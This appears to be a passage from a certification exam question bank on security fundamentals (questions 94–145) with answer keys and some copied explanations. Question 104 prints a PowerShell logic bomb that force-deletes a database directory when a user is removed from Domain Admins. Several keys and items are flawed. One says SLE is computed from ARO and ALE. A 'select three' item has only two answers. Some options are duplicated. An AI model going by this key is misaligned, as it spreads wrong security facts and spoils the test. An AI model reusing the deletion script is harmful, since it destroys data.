D. IPSec

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 94**

To determine the ALE of a particular risk, which of the following must be calculated? (Select TWO).

A. ARO

B. ROI

C. RPO

D. SLE

E. RTO

**Correct Answer:** AD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 95**

A business sector is highly competitive, and safeguarding trade secrets and critical information is paramount.

On a seasonal basis, an organization employs temporary hires and contractor personnel to accomplish its

mission objectives. The temporary and contract personnel require access to network resources only when on

the clock. Which of the following account management practices are the BEST ways to manage these

accounts?

A. Employ time-of-day restrictions.

B. Employ password complexity.

C. Employ a random key generator strategy.

D. Employ an account expiration strategy.

E. Employ a password lockout policy.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 96**

Which of the following locations contain the MOST volatile data?

A. SSD

B. Paging file

C. RAM

D. Cache memory

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 97**

Ann, a customer, is reporting that several important files are missing from her workstation. She recently

received communication from an unknown party who is requesting funds to restore the files. Which of the

following attacks has occurred?

A. Ransomware

B. Keylogger

C. Buffer overflow

D. Rootkit

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 98**

Every morning, a systems administrator monitors failed login attempts on the company's log management

server. The administrator notices the DBAdmin account has five failed username and/or password alerts during

a ten-minute window. The systems administrator determines the user account is a dummy account used to

attract attackers. Which of the following techniques should the systems administrator implement?

A. Role-based access control

B. Honeypot

C. Rule-based access control

D. Password cracker

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 99**

Joe, a user, has been trying to send Ann, a different user, an encrypted document via email. Ann has not

received the attachment but is able to receive the header information. Which of the following is MOST likely

preventing Ann from receiving the encrypted file?

A. Unencrypted credentials

B. Authentication issues

C. Weak cipher suite

D. Permission issues

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 100**

A systems administrator is configuring a system that uses data classification labels. Which of the following will

the administrator need to implement to enforce access control?

A. Discretionary access control

B. Mandatory access control

C. Role-based access control

D. Rule-based access control

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 101**

An analyst is using a vulnerability scanner to look for common security misconfigurations on devices. Which of

the following might be identified by the scanner? (Select TWO).

A. The firewall is disabled on workstations.

B. SSH is enabled on servers.

C. Browser homepages have not been customized.

D. Default administrator credentials exist on networking hardware.

E. The OS is only set to check for updates once a day.

**Correct Answer:** AD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 102**

A security analyst is reviewing patches on servers. One of the servers is reporting the following error message

in the WSUS management console:

The computer has not reported status in 30 days.

Given this scenario, which of the following statements BEST represents the issue with the output above?

A. The computer in question has not pulled the latest ACL policies for the firewall.

B. The computer in question has not pulled the latest GPO policies from the management server.

C. The computer in question has not pulled the latest antivirus definitions from the antivirus program.

D. The computer in question has not pulled the latest application software updates.

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 103**

Two users must encrypt and transmit large amount of data between them. Which of the following should they

use to encrypt and transmit the data?

A. Symmetric algorithm

B. Hash function

C. Digital signature

D. Obfuscation

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 104**

A security administrator is reviewing the following PowerShell script referenced in the Task Scheduler on a

database server:

$members = GetADGroupMemeber -Identity "Domain Admins" -Recursive | Select -

ExpandProperty name

if ($members -notcontains "JohnDoe"){

Remove-Item -path C:\Database -recurse -force

}

Which of the following did the security administrator discover?

A. Ransomeware

B. Backdoor

C. Logic bomb

D. Trojan

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 105**

A bank is experiencing a DoS attack against an application designed to handle 500IP-based sessions. in

addition, the perimeter router can only handle 1Gbps of traffic. Which of the following should be implemented to

prevent a DoS attacks in the future?

A. Deploy multiple web servers and implement a load balancer

B. Increase the capacity of the perimeter router to 10 Gbps

C. Install a firewall at the network to prevent all attacks

D. Use redundancy across all network devices and services

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 106**

A malicious system continuously sends an extremely large number of SYN packets to a server. Which of the

following BEST describes the resulting effect?

A. The server will be unable to server clients due to lack of bandwidth

B. the server's firewall will be unable to effectively filter traffic due to the amount of data transmitted

C. The server will crash when trying to reassemble all the fragmented packets

D. The server will exhaust its memory maintaining half-open connections

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 107**

A systems administrator is deploying a new mission essential server into a virtual environment. Which of the

following is BEST mitigated by the environment's rapid elasticity characteristic?

A. Data confidentiality breaches

B. VM escape attacks

C. Lack of redundancy

D. Denial of service

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 108**

Which of the following is the proper order for logging a user into a system from the first step to the last step?

A. Identification, authentication, authorization

B. Identification, authorization, authentication

C. Authentication, identification, authorization

D. Authentication, identification, authorization

E. Authorization, identification, authentication

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 109**

A company stores highly sensitive data files used by the accounting system on a server file share. The

accounting system uses a service account named accounting-svc to access the file share. The data is

protected will a full disk encryption, and the permissions are set as follows:

File system permissions: Users = Read Only

Share permission: accounting-svc = Read Only

Given the listed protections are in place and unchanged, to which of the following risks is the data still subject?

A. Exploitation of local console access and removal of data

B. Theft of physical hard drives and a breach of confidentiality

C. Remote exfiltration of data using domain credentials

D. Disclosure of sensitive data to third parties due to excessive share permissions

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 110**

A bank uses a wireless network to transmit credit card purchases to a billing system. Which of the following

would be MOST appropriate to protect credit card information from being accessed by unauthorized individuals

outside of the premises?

A. Air gap

B. Infrared detection

C. Faraday cage

D. Protected distributions

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 111**

Joe, a salesman, was assigned to a new project that requires him to travel to a client site. While waiting for a

flight, Joe decides to connect to the airport wireless network without connecting to a VPN, and then sends

confidential emails to fellow colleagues. A few days later, the company experiences a data breach. Upon

investigation, the company learns Joe's emails were intercepted. Which of the following MOST likely caused

the data breach?

A. Policy violation

B. Social engineering

C. Insider threat

D. Zero--day attack

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 112**

A help desk technician receives a phone call from an individual claiming to be an employee of the organization

and requesting assistance to access a locked account. The help desk technician asks the individual to provide

proof of identity before access can be granted. Which of the following types of attack is the caller performing?

A. Phishing

B. Shoulder surfing

C. Impersonation

D. Dumpster diving

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 113**

Confidential emails from an organization were posted to a website without the organization's knowledge. Upon

investigation, it was determined that the emails were obtained from an internal actor who sniffed the emails in

plain text. Which of the following protocols, if properly implemented, would have MOST likely prevented the

emails from being sniffed? (Select TWO)

A. Secure IMAP

B. DNSSEC

C. S/MIME

D. SMTPS

E. HTTPS

**Correct Answer:** CD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

SMTPS (Simple Mail Transfer Protocol Secure) is a deprecated method for securing SMTP with transport layer

security. It is intended to provide authentication of the communication partners, as well as data integrity and

confidentiality.

SMTPS is not a proprietary protocol and not an extension of SMTP. It is just a way to secure SMTP at the

transport layer. SMTPS uses port 465.

**QUESTION 114**

A company wants to implement an access management solution that allows employees to use the same

usernames and passwords for multiple applications without having to keep multiple credentials synchronized.

Which of the following solutions would BEST meet these requirements?

A. Multifactor authentication

B. SSO

C. Biometrics

D. PKI

E. Federation

**Correct Answer:** BE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 115**

An external auditor visits the human resources department and performs a physical security assessment. The

auditor observed documents on printers that are unclaimed. A closer look at these documents reveals

employee names, addresses, ages, and types of medical and dental coverage options each employee has

selected. Which of the following is the MOST appropriate actions to take?

A. Flip the documents face down so no one knows these documents are PII sensitive

B. Shred the documents and let the owner print the new set

C. Retrieve the documents, label them with a PII cover sheet, and return them to the printer

D. Report to the human resources manager that their personnel are violating a privacy policy

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 116**

Which of the following authentication concepts is a gait analysis MOST closely associated?

A. Somewhere you are

B. Something you are

C. Something you do

D. Something you know

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 117**

Which of the following metrics are used to calculate the SLE? (Select TWO)

A. ROI

B. ARO

C. ALE

D. MTBF

E. MTTF

F. TCO

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 118**

Due to regulatory requirements, server in a global organization must use time synchronization. Which of the

following represents the MOST secure method of time synchronization?

A. The server should connect to external Stratum 0 NTP servers for synchronization

B. The server should connect to internal Stratum 0 NTP servers for synchronization

C. The server should connect to external Stratum 1 NTP servers for synchronization

D. The server should connect to external Stratum 1 NTP servers for synchronization

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Configure your own Internal NTP hierarchical service for your network. It is possible to purchase Stratum 1 or

Stratum 0 NTP appliances to use internally for less than the cost of a typical server. It is also possible to set up

a private NTP server at a very low cost. The feasibility of setting up a commercial off the shelf (COTS) NTP

server is evidenced in a recent effort to configure a Raspberry Pi computer as a Stratum-1 server. If you do

decide to configure you own, please consider the following best practices:

Standardize to UTC time. Within an enterprise, standardize all systems to coordinated universal time (UTC).

Standardizing to UTC simplifies log correlation within the organization and with external parties no matter what

time zone the device being synchronized is located in.

Securing the network time service. Restrict the commands that can be used on the stratum servers. Do not

allow public queries of the stratum servers. Only allow known networks/hosts to communicate with their

respective stratum servers.

Consider the business need for cryptography. Many administrators try to secure their networks with encrypted

communications and encrypted authentication. I would introduce a note of caution here because although there

are cryptographic services associated with NTP for securing NTP communications, the use of encryption

introduces more sources for problems, such as requiring key management, and it also requires a higher

computational overhead.

Remember Segal's Law. Ideally, it would work to have three or more Stratum 0 or Stratum 1 servers and use

those servers as primary masters. Remember Segal's Law: having two NTP servers makes it hard to know

which one is accurate. Two Stratum 0 servers would provide a more accurate timestamp because they are

using a time source that is considered definitive.

**QUESTION 119**

When sending messages using symmetric encryption, which of the following must happen FIRST?

A. Exchange encryption key

B. Establish digital signatures

C. Agree on an encryption method

D. Install digital certificates

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 120**

Which of the following scenarios BEST describes an implementation of non-repudiation?

A. A user logs into a domain workstation and access network file shares for another department

B. A user remotely logs into the mail server with another user's credentials

C. A user sends a digitally signed email to the entire finance department about an upcoming meeting

D. A user access the workstation registry to make unauthorized changes to enable functionality within an

application

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 121**

An office manager found a folder that included documents with various types of data relating to corporate

clients. The office manager notified the data included dates of birth, addresses, and phone numbers for the

clients. The office manager then reported this finding to the security compliance officer. Which of the following

portions of the policy would the security officer need to consult to determine if a breach has occurred?

A. Public

B. Private

C. PHI

D. PII

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 122**

Which of the following is an asymmetric function that generates a new and separate key every time it runs?

A. RSA

B. DSA

C. DHE

D. HMAC

E. PBKDF2

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Although Diffie–Hellman key agreement itself is a non-authenticated key-agreement protocol, it provides the

basis for a variety of authenticated protocols, and is used to provide forward secrecy in Transport Layer

Security's ephemeral modes (referred to as EDH or DHE depending on the cipher suite).

**QUESTION 123**

Which of the following would be considered multifactor authentication?

A. Hardware token and smart card

B. Voice recognition and retina scan

C. Strong password and fingerprint

D. PIN and security questions

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 124**

Users report the following message appear when browsing to the company's secure site: This website

cannot be trusted. Which of the following actions should a security analyst take to resolve these

messages? (Select TWO)

A. Verify the certificate has not expired on the server

B. Ensure the certificate has a .pfx extension on the server

C. Update the root certificate into the client computer certificate store

D. Install the updated private key on the web server

E. Have users clear their browsing history and relaunch the session

**Correct Answer:** AC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 125**

Despite having implemented password policies, users continue to set the same weak passwords and reuse old

passwords. Which of the following technical controls would help prevent these policy violations?

A. Password expiration

B. Password length

C. Password complexity

D. Password history

E. Password lockout

**Correct Answer:** AD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 126**

A security auditor is testing perimeter security in a building that is protected by badge readers. Which of the

following types of attacks would MOST likely gain access?

A. Phishing

B. Man-in-the-middle

C. Tailgating

D. Watering hole

E. Shoulder surfing

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 127**

Which of the following encryption methods does PKI typically use to securely protect keys?

A. Elliptic curve

B. Digital signatures

C. Asymmetric

D. Obfuscation

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 128**

A department head at a university resigned on the first day of spring semester. It was subsequently determined

that the department head deleted numerous files and directories from the server-based home directory while

the campus was closed. Which of the following policies or procedures could have prevented this form

occurring?

A. Time-of-day restrictions

B. Permissions auditing and review

C. Offboarding

D. Account expiration

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 129**

An organization wants to upgrade its enterprise-wide desktop computer solution. The organization currently has

500 PCs active on the network. the Chief Information Security Officer (CISO) suggests that the organization

employ desktop imaging technology for such a large scale upgrade. Which of the following is a security benefit

of implementing an imaging solution?

A. it allows for faster deployment

B. it provides a consistent baseline

C. It reduces the number of vulnerabilities

D. It decreases the boot time

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 130**

A senior incident response manager receives a call about some external IPs communicating with internal

computers during off hours. Which of the following types of malware is MOST likely causing this issue?

A. Botnet

B. Ransomware

C. Polymorphic malware

D. Armored virus

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 131**

An organization has implemented an IPSec VPN access for remote users. Which of the following IPSec modes

would be the MOST secure for this organization to implement?

A. Tunnel mode

B. Transport mode

C. AH-only mode

D. ESP-only mode

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

In both ESP and AH cases with IPSec Transport mode, the IP header is exposed. The IP header is not

exposed in IPSec Tunnel mode.

**QUESTION 132**

A security engineer is configuring a wireless network with EAP-TLS. Which of the following activities is a

requirement for this configuration?

A. Setting up a TACACS+ server

B. Configuring federation between authentication servers

C. Enabling TOTP

D. Deploying certificates to endpoint devices

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 133**

Several workstations on a network are found to be on OS versions that are vulnerable to a specific attack.

Which of the following is considered to be a corrective action to combat this vulnerability?

A. Install an antivirus definition patch

B. Educate the workstation users

C. Leverage server isolation

D. Install a vendor-supplied patch

E. Install an intrusion detection system

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 134**

A user suspects someone has been accessing a home network without permission by spoofing the MAC

address of an authorized system. While attempting to determine if an unauthorized user is logging into the

home network, the user reviews the wireless router, which shows the following table for systems that are

currently on the home network:

Hostname IP Address MAC MAC Filter

DadPC 192.168.1.15 00:1D:1A:44:17:B5 On

MomPC 192.168.1.15 21:13:D6:C5:42:A2 Off

JuniorPC 192.168.2.16 42:A7:D1:25:11:52 On

Unknown 192.168.1.18 10:B3:22:1A:FF:21 Off

Which of the following should be the NEXT step to determine if there is an unauthorized user on the network?

A. Apply MAC filtering and see if the router drops any of the systems

B. Physically check each of the authorized systems to determine if they are logged onto the network

C. Deny the "unknown" host because the hostname is not known and MAC filtering is not applied to this host

D. Conduct a ping sweep of each of the authorized systems and see if an echo response is received

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Dad's PC and Mom's PC have the same IP address. One of them is doing ARP spoofing.

**QUESTION 135**

The POODLE attack is an MITM exploit that affects:

A. TLS1.0 with CBC mode cipher

B. SSLv2.0 with CBC mode cipher

C. SSLv3.0 with CBC mode cipher

D. SSLv3.0 with ECB mode cipher

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

A flaw was found in the way SSL 3.0 handled padding bytes when decrypting messages encrypted using block

ciphers in cipher block chaining (CBC) mode.

How To Protect your Server Against the POODLE SSLv3 Vulnerability

On October 14th, 2014, a vulnerability in version 3 of the SSL encryption protocol was disclosed. This

vulnerability, dubbed POODLE (Padding Oracle On Downgraded Legacy Encryption), allows an attacker to read

information encrypted with this version of the protocol in plain text using a man-in-the-middle attack.

Although SSLv3 is an older version of the protocol which is mainly obsolete, many pieces of software still fall

back on SSLv3 if better encryption options are not available. More importantly, it is possible for an attacker to

force SSLv3 connections if it is an available alternative for both participants attempting a connection.

The POODLE vulnerability affects any services or clients that make it possible to communicate using SSLv3.

Because this is a flaw with the protocol design, and not an implementation issue, every piece of software that

uses SSLv3 is vulnerable.

To find out more information about the vulnerability, consult the CVE information found at CVE-2014-3566.

What is the POODLE Vulnerability?

The POODLE vulnerability is a weakness in version 3 of the SSL protocol that allows an attacker in a man-inthe-

middle context to decipher the plain text content of an SSLv3 encrypted message.

Who is Affected by this Vulnerability?

This vulnerability affects every piece of software that can be coerced into communicating with SSLv3. This

means that any software that implements a fallback mechanism that includes SSLv3 support is vulnerable and

can be exploited.

Some common pieces of software that may be affected are web browsers, web servers, VPN servers, mail

servers, etc.

How Does It Work?

In short, the POODLE vulnerability exists because the SSLv3 protocol does not adequately check the padding

bytes that are sent with encrypted messages.

Since these cannot be verified by the receiving party, an attacker can replace these and pass them on to the

intended destination. When done in a specific way, the modified payload will potentially be accepted by the

recipient without complaint.

An average of once out of every 256 requests will accepted at the destination, allowing the attacker to decrypt a

single byte. This can be repeated easily in order to progressively decrypt additional bytes. Any attacker able to

repeatedly force a participant to resend data using this protocol can break the encryption in a very short amount

of time.

How Can I Protect Myself?

Actions should be taken to ensure that you are not vulnerable in your roles as both a client and a server. Since

encryption is usually negotiated between clients and servers, it is an issue that involves both parties.

Servers and clients should should take steps to disable SSLv3 support completely. Many applications use

better encryption by default, but implement SSLv3 support as a fallback option. This should be disabled, as a

malicious user can force SSLv3 communication if both participants allow it as an acceptable method.

**QUESTION 136**

Security administrators attempted corrective action after a phishing attack. Users are still experiencing trouble

logging in, as well as an increase in account lockouts. Users' email contacts are complaining of an increase in

spam and social networking requests. Due to the large number of affected accounts, remediation must be

accomplished quickly. Which of the following actions should be taken FIRST? (Select TWO)

A. Disable the compromised accounts

B. Update WAF rules to block social networks

C. Remove the compromised accounts with all AD groups

D. Change the compromised accounts' passwords

E. Disable the open relay on the email server

F. Enable sender policy framework

**Correct Answer:** EF

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Sender Policy Framework (SPF) is a simple email-validation system designed to detect email spoofing by

providing a mechanism to allow receiving mail exchangers to check that incoming mail from a domain comes

from a host authorized by that domain's administrators.

n a Small Business Server environment, you may have to prevent your Microsoft Exchange Server-based

server from being used as an open relay SMTP server for unsolicited commercial e-mail messages, or spam.

You may also have to clean up the Exchange server's SMTP queues to delete the unsolicited commercial email

messages. If your Exchange server is being used as an open SMTP relay, you may experience one or

more of the following symptoms:

- The Exchange server cannot deliver outbound SMTP mail to a growing list of e-mail domains.

- Internet browsing is slow from the server and from local area network (LAN) clients.

- Free disk space on the Exchange server in the location of the Exchange information store databases or the

Exchange information store transaction logs is reduced more rapidly than you expect.

- The Microsoft Exchange information store databases spontaneously dismount. You may be able to manually

mount the stores by using Exchange System Manager, but the stores may dismount on their own after they run

for a short time. For more information, click the following article number to view the article in the Microsoft

Knowledge Base:

**QUESTION 137**

Ann, a security administrator, wants to ensure credentials are encrypted in transit when implementing a

RADIUS server for SSO. Which of the following are needed given these requirements? (Select TWO)

A. Public key

B. Shared key

C. Elliptic curve

D. MD5

E. Private key

F. DES

**Correct Answer:** AE

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 138**

Which of the following allows an auditor to test proprietary-software compiled code for security flaws?

A. Fuzzing

B. Static review

C. Code signing

D. Regression testing

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 139**

Which of the following s the BEST reason to run an untested application is a sandbox?

A. To allow the application to take full advantage of the host system's resources and storage

B. To utilize the host systems antivirus and firewall applications instead of running it own protection

C. To prevent the application from acquiring escalated privileges and accessing its host system

D. To increase application processing speed so the host system can perform real-time logging

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 140**

A manager wants to distribute a report to several other managers within the company. Some of them reside in

remote locations that are not connected to the domain but have a local server. Because there is sensitive data

within the report and the size is beyond the limit of the email attachment size, emailing the report is not an

option. Which of the following protocols should be implemented to distribute the report securely? (Select

THREE)

A. S/MIME

B. SSH

C. SNMPv3

D. FTPS

E. SRTP

F. HTTPS

G. LDAPS

**Correct Answer:** BD

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 141**

A company is performing an analysis of the corporate enterprise network with the intent of identifying what will

cause losses in revenue, referrals, and/or reputation when out of commission. Which of the following is an

element of a BIA that is being addressed?

A. Mission-essential function

B. Single point of failure

C. backup and restoration plans

D. Identification of critical systems

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

The BIA is composed of the following three steps: Determine mission/business processes and recovery

criticality. Mission/business processes supported by the system are identified and the impact of a system

disruption to those processes is determined along with outage impacts and estimated downtime.

**QUESTION 142**

Ann, a user, states that her machine has been behaving erratically over the past week. She has experienced

slowness and input lag and found text files that appear to contain pieces of her emails or online conversations

with coworkers. The technician runs a standard virus scan but detects nothing. Which of the following types of

malware has infected the machine?

A. Ransomware

B. Rootkit

C. Backdoor

D. Keylogger

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 143**

A security analyst is attempting to identify vulnerabilities in a customer's web application without impacting the

system or its data. Which of the following BEST describes the vulnerability scanning concept performed?

A. Aggressive scan

B. Passive scan

C. Non-credentialed scan

D. Compliance scan

**Correct Answer:** B

**Section: (none)**

**Explanation**

**Explanation/Reference:**

Passive scanning is a method of vulnerability detection that relies on information gleaned from network data

that is captured from a target computer without direct interaction.

Packet sniffing applications can be used for passive scanning to reveal information such as operating system,

known protocols running on non-standard ports and active network applications with known bugs. Passive

scanning may be conducted by a network administrator scanning for security vulnerabilities or by an intruder as

a preliminary to an active attack.

For an intruder, passive scanning's main advantage is that it does not leave a trail that could alert users or

administrators to their activities. For an administrator, the main advantage is that it doesn't risk causing

undesired behavior on the target computer, such as freezes. Because of these advantages, passive scanning

need not be limited to a narrow time frame to minimize risk or disruption, which means that it is likely to return

more information.

Passive scanning does have limitations. It is not as complete in detail as active vulnerability scanning and

cannot detect any applications that are not currently sending out traffic; nor can it distinguish false information

put out for obfuscation.

**QUESTION 144**

A systems administrator wants to implement a wireless protocol that will allow the organization to authenticate

mobile devices prior to providing the user with a captive portal login. Which of the following should the systems

administrator configure?

A. L2TP with MAC filtering

B. EAP-TTLS

C. WPA2-CCMP with PSK

D. RADIUS federation

**Correct Answer:** D

**Section: (none)**

**Explanation**

**Explanation/Reference:**

RADIUS generally includes 802.1X that pre-authenticates devices.

**QUESTION 145**

A user receives an email from ISP indicating malicious traffic coming from the user's home network is detected.

The traffic appears to be Linux-based, and it is targeting a website that was recently featured on the news as

being taken offline by an Internet attack. The only Linux device on the network is a home surveillance camera

system. Which of the following BEST describes what is happening?

A. The camera system is infected with a bot.

B. The camera system is infected with a RAT.

C. The camera system is infected with a Trojan.

D. The camera system is infected with a backdoor.

**Correct Answer:** A

**Section: (none)**

**Explanation**

**Explanation/Reference:**